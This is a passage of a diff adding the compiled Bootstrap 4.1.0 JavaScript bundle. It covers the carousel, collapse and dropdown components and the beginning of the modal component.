(isGoingToWrap && !this._config.wrap) { + return activeElement; + } + + var delta = direction === Direction.PREV ? -1 : 1; + var itemIndex = (activeIndex + delta) % this._items.length; + return itemIndex === -1 ? this._items[this._items.length - 1] : this._items[itemIndex]; + }; + + _proto._triggerSlideEvent = function _triggerSlideEvent(relatedTarget, eventDirectionName) { + var targetIndex = this._getItemIndex(relatedTarget); + + var fromIndex = this._getItemIndex($$$1(this._element).find(Selector.ACTIVE_ITEM)[0]); + + var slideEvent = $$$1.Event(Event.SLIDE, { + relatedTarget: relatedTarget, + direction: eventDirectionName, + from: fromIndex, + to: targetIndex + }); + $$$1(this._element).trigger(slideEvent); + return slideEvent; + }; + + _proto._setActiveIndicatorElement = function _setActiveIndicatorElement(element) { + if (this._indicatorsElement) { + $$$1(this._indicatorsElement).find(Selector.ACTIVE).removeClass(ClassName.ACTIVE); + + var nextIndicator = this._indicatorsElement.children[this._getItemIndex(element)]; + + if (nextIndicator) { + $$$1(nextIndicator).addClass(ClassName.ACTIVE); + } + } + }; + + _proto._slide = function _slide(direction, element) { + var _this3 = this; + + var activeElement = $$$1(this._element).find(Selector.ACTIVE_ITEM)[0]; + + var activeElementIndex = this._getItemIndex(activeElement); + + var nextElement = element || activeElement && this._getItemByDirection(direction, activeElement); + + var nextElementIndex = this._getItemIndex(nextElement); + + var isCycling = Boolean(this._interval); + var directionalClassName; + var orderClassName; + var eventDirectionName; + + if (direction === Direction.NEXT) { + directionalClassName = ClassName.LEFT; + orderClassName = ClassName.NEXT; + eventDirectionName = Direction.LEFT; + } else { + directionalClassName = ClassName.RIGHT; + orderClassName = ClassName.PREV; + eventDirectionName = Direction.RIGHT; + } + + if (nextElement && $$$1(nextElement).hasClass(ClassName.ACTIVE)) { + this._isSliding = false; + return; + } + + var slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName); + + if (slideEvent.isDefaultPrevented()) { + return; + } + + if (!activeElement || !nextElement) { + // Some weirdness is happening, so we bail + return; + } + + this._isSliding = true; + + if (isCycling) { + this.pause(); + } + + this._setActiveIndicatorElement(nextElement); + + var slidEvent = $$$1.Event(Event.SLID, { + relatedTarget: nextElement, + direction: eventDirectionName, + from: activeElementIndex, + to: nextElementIndex + }); + + if ($$$1(this._element).hasClass(ClassName.SLIDE)) { + $$$1(nextElement).addClass(orderClassName); + Util.reflow(nextElement); + $$$1(activeElement).addClass(directionalClassName); + $$$1(nextElement).addClass(directionalClassName); + var transitionDuration = Util.getTransitionDurationFromElement(activeElement); + $$$1(activeElement).one(Util.TRANSITION_END, function () { + $$$1(nextElement).removeClass(directionalClassName + " " + orderClassName).addClass(ClassName.ACTIVE); + $$$1(activeElement).removeClass(ClassName.ACTIVE + " " + orderClassName + " " + directionalClassName); + _this3._isSliding = false; + setTimeout(function () { + return $$$1(_this3._element).trigger(slidEvent); + }, 0); + }).emulateTransitionEnd(transitionDuration); + } else { + $$$1(activeElement).removeClass(ClassName.ACTIVE); + $$$1(nextElement).addClass(ClassName.ACTIVE); + this._isSliding = false; + $$$1(this._element).trigger(slidEvent); + } + + if (isCycling) { + this.cycle(); + } + }; // Static + + + Carousel._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = _objectSpread({}, Default, $$$1(this).data()); + + if (typeof config === 'object') { + _config = _objectSpread({}, _config, config); + } + + var action = typeof config === 'string' ? config : _config.slide; + + if (!data) { + data = new Carousel(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'number') { + data.to(config); + } else if (typeof action === 'string') { + if (typeof data[action] === 'undefined') { + throw new TypeError("No method named \"" + action + "\""); + } + + data[action](); + } else if (_config.interval) { + data.pause(); + data.cycle(); + } + }); + }; + + Carousel._dataApiClickHandler = function _dataApiClickHandler(event) { + var selector = Util.getSelectorFromElement(this); + + if (!selector) { + return; + } + + var target = $$$1(selector)[0]; + + if (!target || !$$$1(target).hasClass(ClassName.CAROUSEL)) { + return; + } + + var config = _objectSpread({}, $$$1(target).data(), $$$1(this).data()); + + var slideIndex = this.getAttribute('data-slide-to'); + + if (slideIndex) { + config.interval = false; + } + + Carousel._jQueryInterface.call($$$1(target), config); + + if (slideIndex) { + $$$1(target).data(DATA_KEY).to(slideIndex); + } + + event.preventDefault(); + }; + + _createClass(Carousel, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }]); + + return Carousel; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler); + $$$1(window).on(Event.LOAD_DATA_API, function () { + $$$1(Selector.DATA_RIDE).each(function () { + var $carousel = $$$1(this); + + Carousel._jQueryInterface.call($carousel, $carousel.data()); + }); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Carousel._jQueryInterface; + $$$1.fn[NAME].Constructor = Carousel; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Carousel._jQueryInterface; + }; + + return Carousel; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): collapse.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Collapse = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'collapse'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.collapse'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var Default = { + toggle: true, + parent: '' + }; + var DefaultType = { + toggle: 'boolean', + parent: '(string|element)' + }; + var Event = { + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + SHOW: 'show', + COLLAPSE: 'collapse', + COLLAPSING: 'collapsing', + COLLAPSED: 'collapsed' + }; + var Dimension = { + WIDTH: 'width', + HEIGHT: 'height' + }; + var Selector = { + ACTIVES: '.show, .collapsing', + DATA_TOGGLE: '[data-toggle="collapse"]' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Collapse = + /*#__PURE__*/ + function () { + function Collapse(element, config) { + this._isTransitioning = false; + this._element = element; + this._config = this._getConfig(config); + this._triggerArray = $$$1.makeArray($$$1("[data-toggle=\"collapse\"][href=\"#" + element.id + "\"]," + ("[data-toggle=\"collapse\"][data-target=\"#" + element.id + "\"]"))); + var tabToggles = $$$1(Selector.DATA_TOGGLE); + + for (var i = 0; i < tabToggles.length; i++) { + var elem = tabToggles[i]; + var selector = Util.getSelectorFromElement(elem); + + if (selector !== null && $$$1(selector).filter(element).length > 0) { + this._selector = selector; + + this._triggerArray.push(elem); + } + } + + this._parent = this._config.parent ? this._getParent() : null; + + if (!this._config.parent) { + this._addAriaAndCollapsedClass(this._element, this._triggerArray); + } + + if (this._config.toggle) { + this.toggle(); + } + } // Getters + + + var _proto = Collapse.prototype; + + // Public + _proto.toggle = function toggle() { + if ($$$1(this._element).hasClass(ClassName.SHOW)) { + this.hide(); + } else { + this.show(); + } + }; + + _proto.show = function show() { + var _this = this; + + if (this._isTransitioning || $$$1(this._element).hasClass(ClassName.SHOW)) { + return; + } + + var actives; + var activesData; + + if (this._parent) { + actives = $$$1.makeArray($$$1(this._parent).find(Selector.ACTIVES).filter("[data-parent=\"" + this._config.parent + "\"]")); + + if (actives.length === 0) { + actives = null; + } + } + + if (actives) { + activesData = $$$1(actives).not(this._selector).data(DATA_KEY); + + if (activesData && activesData._isTransitioning) { + return; + } + } + + var startEvent = $$$1.Event(Event.SHOW); + $$$1(this._element).trigger(startEvent); + + if (startEvent.isDefaultPrevented()) { + return; + } + + if (actives) { + Collapse._jQueryInterface.call($$$1(actives).not(this._selector), 'hide'); + + if (!activesData) { + $$$1(actives).data(DATA_KEY, null); + } + } + + var dimension = this._getDimension(); + + $$$1(this._element).removeClass(ClassName.COLLAPSE).addClass(ClassName.COLLAPSING); + this._element.style[dimension] = 0; + + if (this._triggerArray.length > 0) { + $$$1(this._triggerArray).removeClass(ClassName.COLLAPSED).attr('aria-expanded', true); + } + + this.setTransitioning(true); + + var complete = function complete() { + $$$1(_this._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).addClass(ClassName.SHOW); + _this._element.style[dimension] = ''; + + _this.setTransitioning(false); + + $$$1(_this._element).trigger(Event.SHOWN); + }; + + var capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1); + var scrollSize = "scroll" + capitalizedDimension; + var transitionDuration = Util.getTransitionDurationFromElement(this._element); + $$$1(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + this._element.style[dimension] = this._element[scrollSize] + "px"; + }; + + _proto.hide = function hide() { + var _this2 = this; + + if (this._isTransitioning || !$$$1(this._element).hasClass(ClassName.SHOW)) { + return; + } + + var startEvent = $$$1.Event(Event.HIDE); + $$$1(this._element).trigger(startEvent); + + if (startEvent.isDefaultPrevented()) { + return; + } + + var dimension = this._getDimension(); + + this._element.style[dimension] = this._element.getBoundingClientRect()[dimension] + "px"; + Util.reflow(this._element); + $$$1(this._element).addClass(ClassName.COLLAPSING).removeClass(ClassName.COLLAPSE).removeClass(ClassName.SHOW); + + if (this._triggerArray.length > 0) { + for (var i = 0; i < this._triggerArray.length; i++) { + var trigger = this._triggerArray[i]; + var selector = Util.getSelectorFromElement(trigger); + + if (selector !== null) { + var $elem = $$$1(selector); + + if (!$elem.hasClass(ClassName.SHOW)) { + $$$1(trigger).addClass(ClassName.COLLAPSED).attr('aria-expanded', false); + } + } + } + } + + this.setTransitioning(true); + + var complete = function complete() { + _this2.setTransitioning(false); + + $$$1(_this2._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).trigger(Event.HIDDEN); + }; + + this._element.style[dimension] = ''; + var transitionDuration = Util.getTransitionDurationFromElement(this._element); + $$$1(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + }; + + _proto.setTransitioning = function setTransitioning(isTransitioning) { + this._isTransitioning = isTransitioning; + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + this._config = null; + this._parent = null; + this._element = null; + this._triggerArray = null; + this._isTransitioning = null; + }; // Private + + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default, config); + config.toggle = Boolean(config.toggle); // Coerce string values + + Util.typeCheckConfig(NAME, config, DefaultType); + return config; + }; + + _proto._getDimension = function _getDimension() { + var hasWidth = $$$1(this._element).hasClass(Dimension.WIDTH); + return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT; + }; + + _proto._getParent = function _getParent() { + var _this3 = this; + + var parent = null; + + if (Util.isElement(this._config.parent)) { + parent = this._config.parent; // It's a jQuery object + + if (typeof this._config.parent.jquery !== 'undefined') { + parent = this._config.parent[0]; + } + } else { + parent = $$$1(this._config.parent)[0]; + } + + var selector = "[data-toggle=\"collapse\"][data-parent=\"" + this._config.parent + "\"]"; + $$$1(parent).find(selector).each(function (i, element) { + _this3._addAriaAndCollapsedClass(Collapse._getTargetFromElement(element), [element]); + }); + return parent; + }; + + _proto._addAriaAndCollapsedClass = function _addAriaAndCollapsedClass(element, triggerArray) { + if (element) { + var isOpen = $$$1(element).hasClass(ClassName.SHOW); + + if (triggerArray.length > 0) { + $$$1(triggerArray).toggleClass(ClassName.COLLAPSED, !isOpen).attr('aria-expanded', isOpen); + } + } + }; // Static + + + Collapse._getTargetFromElement = function _getTargetFromElement(element) { + var selector = Util.getSelectorFromElement(element); + return selector ? $$$1(selector)[0] : null; + }; + + Collapse._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var $this = $$$1(this); + var data = $this.data(DATA_KEY); + + var _config = _objectSpread({}, Default, $this.data(), typeof config === 'object' && config); + + if (!data && _config.toggle && /show|hide/.test(config)) { + _config.toggle = false; + } + + if (!data) { + data = new Collapse(this, _config); + $this.data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(Collapse, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }]); + + return Collapse; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) { + // preventDefault only for <a> elements (which change the URL) not inside the collapsible element + if (event.currentTarget.tagName === 'A') { + event.preventDefault(); + } + + var $trigger = $$$1(this); + var selector = Util.getSelectorFromElement(this); + $$$1(selector).each(function () { + var $target = $$$1(this); + var data = $target.data(DATA_KEY); + var config = data ? 'toggle' : $trigger.data(); + + Collapse._jQueryInterface.call($target, config); + }); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Collapse._jQueryInterface; + $$$1.fn[NAME].Constructor = Collapse; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Collapse._jQueryInterface; + }; + + return Collapse; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): dropdown.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Dropdown = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'dropdown'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.dropdown'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key + + var SPACE_KEYCODE = 32; // KeyboardEvent.which value for space key + + var TAB_KEYCODE = 9; // KeyboardEvent.which value for tab key + + var ARROW_UP_KEYCODE = 38; // KeyboardEvent.which value for up arrow key + + var ARROW_DOWN_KEYCODE = 40; // KeyboardEvent.which value for down arrow key + + var RIGHT_MOUSE_BUTTON_WHICH = 3; // MouseEvent.which value for the right button (assuming a right-handed mouse) + + var REGEXP_KEYDOWN = new RegExp(ARROW_UP_KEYCODE + "|" + ARROW_DOWN_KEYCODE + "|" + ESCAPE_KEYCODE); + var Event = { + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + CLICK: "click" + EVENT_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY, + KEYDOWN_DATA_API: "keydown" + EVENT_KEY + DATA_API_KEY, + KEYUP_DATA_API: "keyup" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + DISABLED: 'disabled', + SHOW: 'show', + DROPUP: 'dropup', + DROPRIGHT: 'dropright', + DROPLEFT: 'dropleft', + MENURIGHT: 'dropdown-menu-right', + MENULEFT: 'dropdown-menu-left', + POSITION_STATIC: 'position-static' + }; + var Selector = { + DATA_TOGGLE: '[data-toggle="dropdown"]', + FORM_CHILD: '.dropdown form', + MENU: '.dropdown-menu', + NAVBAR_NAV: '.navbar-nav', + VISIBLE_ITEMS: '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)' + }; + var AttachmentMap = { + TOP: 'top-start', + TOPEND: 'top-end', + BOTTOM: 'bottom-start', + BOTTOMEND: 'bottom-end', + RIGHT: 'right-start', + RIGHTEND: 'right-end', + LEFT: 'left-start', + LEFTEND: 'left-end' + }; + var Default = { + offset: 0, + flip: true, + boundary: 'scrollParent', + reference: 'toggle', + display: 'dynamic' + }; + var DefaultType = { + offset: '(number|string|function)', + flip: 'boolean', + boundary: '(string|element)', + reference: '(string|element)', + display: 'string' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Dropdown = + /*#__PURE__*/ + function () { + function Dropdown(element, config) { + this._element = element; + this._popper = null; + this._config = this._getConfig(config); + this._menu = this._getMenuElement(); + this._inNavbar = this._detectNavbar(); + + this._addEventListeners(); + } // Getters + + + var _proto = Dropdown.prototype; + + // Public + _proto.toggle = function toggle() { + if (this._element.disabled || $$$1(this._element).hasClass(ClassName.DISABLED)) { + return; + } + + var parent = Dropdown._getParentFromElement(this._element); + + var isActive = $$$1(this._menu).hasClass(ClassName.SHOW); + + Dropdown._clearMenus(); + + if (isActive) { + return; + } + + var relatedTarget = { + relatedTarget: this._element + }; + var showEvent = $$$1.Event(Event.SHOW, relatedTarget); + $$$1(parent).trigger(showEvent); + + if (showEvent.isDefaultPrevented()) { + return; + } // Disable totally Popper.js for Dropdown in Navbar + + + if (!this._inNavbar) { + /** + * Check for Popper dependency + * Popper - https://popper.js.org + */ + if (typeof Popper === 'undefined') { + throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)'); + } + + var referenceElement = this._element; + + if (this._config.reference === 'parent') { + referenceElement = parent; + } else if (Util.isElement(this._config.reference)) { + referenceElement = this._config.reference; // Check if it's jQuery element + + if (typeof this._config.reference.jquery !== 'undefined') { + referenceElement = this._config.reference[0]; + } + } // If boundary is not `scrollParent`, then set position to `static` + // to allow the menu to "escape" the scroll parent's boundaries + // https://github.com/twbs/bootstrap/issues/24251 + + + if (this._config.boundary !== 'scrollParent') { + $$$1(parent).addClass(ClassName.POSITION_STATIC); + } + + this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig()); + } // If this is a touch-enabled device we add extra + // empty mouseover listeners to the body's immediate children; + // only needed because of broken event delegation on iOS + // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html + + + if ('ontouchstart' in document.documentElement && $$$1(parent).closest(Selector.NAVBAR_NAV).length === 0) { + $$$1(document.body).children().on('mouseover', null, $$$1.noop); + } + + this._element.focus(); + + this._element.setAttribute('aria-expanded', true); + + $$$1(this._menu).toggleClass(ClassName.SHOW); + $$$1(parent).toggleClass(ClassName.SHOW).trigger($$$1.Event(Event.SHOWN, relatedTarget)); + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + $$$1(this._element).off(EVENT_KEY); + this._element = null; + this._menu = null; + + if (this._popper !== null) { + this._popper.destroy(); + + this._popper = null; + } + }; + + _proto.update = function update() { + this._inNavbar = this._detectNavbar(); + + if (this._popper !== null) { + this._popper.scheduleUpdate(); + } + }; // Private + + + _proto._addEventListeners = function _addEventListeners() { + var _this = this; + + $$$1(this._element).on(Event.CLICK, function (event) { + event.preventDefault(); + event.stopPropagation(); + + _this.toggle(); + }); + }; + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, this.constructor.Default, $$$1(this._element).data(), config); + Util.typeCheckConfig(NAME, config, this.constructor.DefaultType); + return config; + }; + + _proto._getMenuElement = function _getMenuElement() { + if (!this._menu) { + var parent = Dropdown._getParentFromElement(this._element); + + this._menu = $$$1(parent).find(Selector.MENU)[0]; + } + + return this._menu; + }; + + _proto._getPlacement = function _getPlacement() { + var $parentDropdown = $$$1(this._element).parent(); + var placement = AttachmentMap.BOTTOM; // Handle dropup + + if ($parentDropdown.hasClass(ClassName.DROPUP)) { + placement = AttachmentMap.TOP; + + if ($$$1(this._menu).hasClass(ClassName.MENURIGHT)) { + placement = AttachmentMap.TOPEND; + } + } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) { + placement = AttachmentMap.RIGHT; + } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) { + placement = AttachmentMap.LEFT; + } else if ($$$1(this._menu).hasClass(ClassName.MENURIGHT)) { + placement = AttachmentMap.BOTTOMEND; + } + + return placement; + }; + + _proto._detectNavbar = function _detectNavbar() { + return $$$1(this._element).closest('.navbar').length > 0; + }; + + _proto._getPopperConfig = function _getPopperConfig() { + var _this2 = this; + + var offsetConf = {}; + + if (typeof this._config.offset === 'function') { + offsetConf.fn = function (data) { + data.offsets = _objectSpread({}, data.offsets, _this2._config.offset(data.offsets) || {}); + return data; + }; + } else { + offsetConf.offset = this._config.offset; + } + + var popperConfig = { + placement: this._getPlacement(), + modifiers: { + offset: offsetConf, + flip: { + enabled: this._config.flip + }, + preventOverflow: { + boundariesElement: this._config.boundary + } + } // Disable Popper.js if we have a static display + + }; + + if (this._config.display === 'static') { + popperConfig.modifiers.applyStyle = { + enabled: false + }; + } + + return popperConfig; + }; // Static + + + Dropdown._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = typeof config === 'object' ? config : null; + + if (!data) { + data = new Dropdown(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + Dropdown._clearMenus = function _clearMenus(event) { + if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH || event.type === 'keyup' && event.which !== TAB_KEYCODE)) { + return; + } + + var toggles = $$$1.makeArray($$$1(Selector.DATA_TOGGLE)); + + for (var i = 0; i < toggles.length; i++) { + var parent = Dropdown._getParentFromElement(toggles[i]); + + var context = $$$1(toggles[i]).data(DATA_KEY); + var relatedTarget = { + relatedTarget: toggles[i] + }; + + if (!context) { + continue; + } + + var dropdownMenu = context._menu; + + if (!$$$1(parent).hasClass(ClassName.SHOW)) { + continue; + } + + if (event && (event.type === 'click' && /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) && $$$1.contains(parent, event.target)) { + continue; + } + + var hideEvent = $$$1.Event(Event.HIDE, relatedTarget); + $$$1(parent).trigger(hideEvent); + + if (hideEvent.isDefaultPrevented()) { + continue; + } // If this is a touch-enabled device we remove the extra + // empty mouseover listeners we added for iOS support + + + if ('ontouchstart' in document.documentElement) { + $$$1(document.body).children().off('mouseover', null, $$$1.noop); + } + + toggles[i].setAttribute('aria-expanded', 'false'); + $$$1(dropdownMenu).removeClass(ClassName.SHOW); + $$$1(parent).removeClass(ClassName.SHOW).trigger($$$1.Event(Event.HIDDEN, relatedTarget)); + } + }; + + Dropdown._getParentFromElement = function _getParentFromElement(element) { + var parent; + var selector = Util.getSelectorFromElement(element); + + if (selector) { + parent = $$$1(selector)[0]; + } + + return parent || element.parentNode; + }; // eslint-disable-next-line complexity + + + Dropdown._dataApiKeydownHandler = function _dataApiKeydownHandler(event) { + // If not input/textarea: + // - And not a key in REGEXP_KEYDOWN => not a dropdown command + // If input/textarea: + // - If space key => not a dropdown command + // - If key is other than escape + // - If key is not up or down => not a dropdown command + // - If trigger inside the menu => not a dropdown command + if (/input|textarea/i.test(event.target.tagName) ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE && (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE || $$$1(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) { + return; + } + + event.preventDefault(); + event.stopPropagation(); + + if (this.disabled || $$$1(this).hasClass(ClassName.DISABLED)) { + return; + } + + var parent = Dropdown._getParentFromElement(this); + + var isActive = $$$1(parent).hasClass(ClassName.SHOW); + + if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) || isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) { + if (event.which === ESCAPE_KEYCODE) { + var toggle = $$$1(parent).find(Selector.DATA_TOGGLE)[0]; + $$$1(toggle).trigger('focus'); + } + + $$$1(this).trigger('click'); + return; + } + + var items = $$$1(parent).find(Selector.VISIBLE_ITEMS).get(); + + if (items.length === 0) { + return; + } + + var index = items.indexOf(event.target); + + if (event.which === ARROW_UP_KEYCODE && index > 0) { + // Up + index--; + } + + if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { + // Down + index++; + } + + if (index < 0) { + index = 0; + } + + items[index].focus(); + }; + + _createClass(Dropdown, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }, { + key: "DefaultType", + get: function get() { + return DefaultType; + } + }]); + + return Dropdown; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler).on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler).on(Event.CLICK_DATA_API + " " + Event.KEYUP_DATA_API, Dropdown._clearMenus).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) { + event.preventDefault(); + event.stopPropagation(); + + Dropdown._jQueryInterface.call($$$1(this), 'toggle'); + }).on(Event.CLICK_DATA_API, Selector.FORM_CHILD, function (e) { + e.stopPropagation(); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Dropdown._jQueryInterface; + $$$1.fn[NAME].Constructor = Dropdown; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Dropdown._jQueryInterface; + }; + + return Dropdown; + }($, Popper); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): modal.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Modal = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'modal'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.modal'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key + + var Default = { + backdrop: true, + keyboard: true, + focus: true, + show: true + }; + var DefaultType = { + backdrop: '(boolean|string)', + keyboard: 'boolean', + focus: 'boolean', + show: 'boolean' + }; + var Event = { + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + FOCUSIN: "focusin" + EVENT_KEY, + RESIZE: "resize" + EVENT_KEY, + CLICK_DISMISS: "click.dismiss" + EVENT_KEY, + KEYDOWN_DISMISS: "keydown.dismiss" + EVENT_KEY, + MOUSEUP_DISMISS: "mouseup.dismiss" + EVENT_KEY, + MOUSEDOWN_DISMISS: "mousedown.dismiss" + EVENT_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + SCROLLBAR_MEASURER: 'modal-scrollbar-measure', + BACKDROP: 'modal-backdrop', + OPEN: 'modal-open', + FADE: 'fade', + SHOW: 'show' + }; + var Selector = { + DIALOG: '.modal-dialog', + DATA_TOGGLE: '[data-toggle="modal"]', + DATA_DISMISS: '[data-dismiss="modal"]', + FIXED_CONTENT: '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top', + STICKY_CONTENT: '.sticky-top', + NAVBAR_TOGGLER: '.navbar-toggler' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Modal = + /*#__PURE__*/ + function () { + function Modal(element, config) { + this._config = this._getConfig(config); + this._element = element; + this._dialog = $$$1(element).find(Selector.DIALOG)[0]; + this._backdrop = null; + this._isShown = false; + this._isBodyOverflowing = false; + this._ignoreBackdropClick = false; + this._scrollbarWidth = 0; + } // Getters + + + var _proto = Modal.prototype; + + // Public + _proto.toggle = function toggle(relatedTarget) { + return this._isShown ? this.hide() : this.show(relatedTarget); + }; + + _proto.show = function show(relatedTarget) { + var _this = this; + + if (this._isTransitioning || this._isShown) { + return; + } + + if ($$$1(this._element).hasClass(ClassName.FADE)) { + this._isTransitioning = true; + } + + var showEvent = $$$1.Event(Event.SHOW, { + relatedTarget: relatedTarget + }); + $$$1(this._element).trigger(showEvent); + + if (this._isShown || showEvent.isDefaultPrevented()) { + return; + } + + this._isShown = true; + + this._checkScrollbar(); + + this._setScrollbar(); + + this._adjustDialog(); + + $$$1(document.body).addClass(ClassName.OPEN); + + this._setEscapeEvent(); + + this._setResizeEvent(); + + $$$1(this._element).on(Event.CLICK_DISMISS, Selector.DATA_DISMISS, function (event) { + return _this.hide(event); + }); + $$$1(this._dialog).on(Event.MOUSEDOWN_DISMISS, function () { + $$$1(_this._element).one(Event.MOUSEUP_DISMISS, function (event) { + if ($$$1(event.target).is(_this._element)) { + _this._ignoreBackdropClick = true; + } + }); + }); + + this._showBackdrop(function () { + return _this._showElement(relatedTarget); + }); + }; + + _proto.hide = function hide(event) { + var _this2 = this; + + if (event) { + event.preventDefault(); + } + + if (this._isTransitioning || !this._isShown) { + return; + } + + var hideEvent = $$$1.Event(Event.HIDE); + $$$1(this._element).trigger(hideEvent); + + if (!this._isShown || hideEvent.isDefaultPrevented()) { + return; + } + + this._isShown = false; + var transition = $$$1(this._element).hasClass(ClassName.FADE); + + if (transition) { + this._isTransitioning = true; + } + + this._setEscapeEvent(); + + this._setResizeEvent(); + + $$$1(document).off(Event.FOCUSIN); + $$$1(this._element).removeClass(ClassName.SHOW); + $$$1(this._element).off(Event.CLICK_DISMISS); + $$$1(this._dialog).off(Event.MOUSEDOWN_DISMISS); + + if (transition) { + var transitionDuration = 